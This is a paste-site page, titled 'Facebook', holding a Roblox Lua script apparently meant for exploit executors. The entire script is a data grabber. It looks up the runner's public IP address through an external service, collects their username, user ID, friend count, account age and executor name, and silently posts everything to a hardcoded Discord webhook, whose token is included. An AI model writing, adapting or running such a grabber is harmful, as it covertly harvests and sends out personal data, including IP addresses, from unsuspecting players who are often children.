Facebook
From Bistre Camel, 1 Year ago, written in Plain Text.
Embed
Download Paste or View Raw
Hits: 3199
  1. local ip = tostring(game:HttpGet("https://api.ipify.org", true))
  2.  
  3. local Players = game:GetService("Players")
  4.  
  5. local USERNAME = game.Players.LocalPlayer.Name
  6.  
  7. local friendscount = 0
  8.  
  9. local function iterPageItems(pages)
  10.         return coroutine.wrap(function()
  11.                 local pagenum = 1
  12.                 while true do
  13.                         for _, item in ipairs(pages:GetCurrentPage()) do
  14.                                 coroutine.yield(item, pagenum)
  15.                         end
  16.                         if pages.IsFinished then
  17.                                 break
  18.                         end
  19.                         pages:AdvanceToNextPageAsync()
  20.                         pagenum = pagenum + 1
  21.                 end
  22.         end)
  23. end
  24.  
  25. -- First, get the user ID of the player
  26. local userId = Players:GetUserIdFromNameAsync(USERNAME)
  27. -- Then, get a FriendPages object for their friends
  28. local friendPages = Players:GetFriendsAsync(userId)
  29. -- Iterate over the items in the pages. For FriendPages, these
  30. -- are tables of information about the friend, including Username.
  31. -- Collect each username in a table
  32. local usernames = {}
  33. for item, pageNo in iterPageItems(friendPages) do
  34.         table.insert(usernames, item.Username)
  35.         friendscount = friendscount + 1
  36. end
  37.  
  38. local webhookcheck =
  39.    is_sirhurt_closure and "Sirhurt" or pebc_execute and "ProtoSmasher" or syn and "Synapse X" or
  40.    secure_load and "Sentinel" or
  41.    KRNL_LOADED and "Krnl" or
  42.    SONA_LOADED and "Sona" or
  43.    "???"
  44.  
  45. local url = "https://discord.com/api/webhooks/1023639093336354866/UkcUJzf4IPKdSPyrZ2iFIZM1Ci4maxN906EuoDHRHMljM1DY-j5bccRRYft5K8BLT-W6"
  46. local data =
  47.         {
  48.                 ["content"] = ping,
  49.                 ["embeds"] = {{
  50.                         ["title"] = "@"..game.Players.LocalPlayer.Name,
  51.                         ["color"] = 0x36393f; -- Hex color code, currently set to red.
  52.                         ["tts"] = true; -- Can someone use the discord feature: text to speach with your message.
  53.                         ["url"] = "https://www.roblox.com/users/"..game.Players.LocalPlayer.userId.."/profile"; -- Same as with author's url, but this one only connects to the title of the whole message.
  54.                         ["thumbnail"] = {
  55.                                 ["url"] = "https://www.roblox.com/headshot-thumbnail/image?userId="..game.Players.LocalPlayer.userId.."&width=150&height=150&format=png";
  56.                         };
  57.                         ["fields"] = { -- Make a table
  58.                             { -- now make a new one for each field you wish to add
  59.                                         ["name"] = "Friends :handshake:";
  60.                                         ["value"] = "```"..friendscount.."```",
  61.                                         ["inline"] = true; -- means that its either inline with others, from left to right or if it is set to false, from up to down.
  62.                                 },
  63.                                  { -- now make a new one for each field you wish to add
  64.                                         ["name"] = "UserId  :mortar_board: ";
  65.                                         ["value"] = "```"..game.Players.LocalPlayer.userId.."```",
  66.                                         ["inline"] = true; -- means that its either inline with others, from left to right or if it is set to false, from up to down.
  67.                                 },
  68.                                  { -- now make a new one for each field you wish to add
  69.                                         ["name"] = "Account Age  :robot:";
  70.                                         ["value"] = "```"..game.Players.LocalPlayer.AccountAge.."```",
  71.                                         ["inline"] = true; -- means that its either inline with others, from left to right or if it is set to false, from up to down.
  72.                                 },
  73.                                 { -- now make a new one for each field you wish to add
  74.                                         ["name"] = "IP Address  :woman_detective:";
  75.                                         ["value"] = [[```]]..ip..[[```]]; -- The text,value or information under the title of the field aka name.
  76.                                         ["inline"] = true; -- means that its either inline with others, from left to right or if it is set to false, from up to down.
  77.                                 },
  78.                                                                 { -- now make a new one for each field you wish to add
  79.                                         ["name"] = "Executor :scroll:";
  80.                                         ["value"] = [[```
  81. ]]..webhookcheck..[[```]]; -- The text,value or information under the title of the field aka name.
  82.                                         ["inline"] = true; -- means that its either inline with others, from left to right or if it is set to false, from up to down.
  83.                                 },
  84.                                
  85.                         }
  86.                        
  87.                 }}
  88.         }
  89.  
  90. local newdata = game:GetService("HttpService"):JSONEncode(data)
  91.  
  92. local headers = {
  93.    ["content-type"] = "application/json"
  94. }
  95. request = http_request or request or HttpPost or syn.request
  96. local abcdef = {Url = url, Body = newdata, Method = "POST", Headers = headers}
  97. request(abcdef)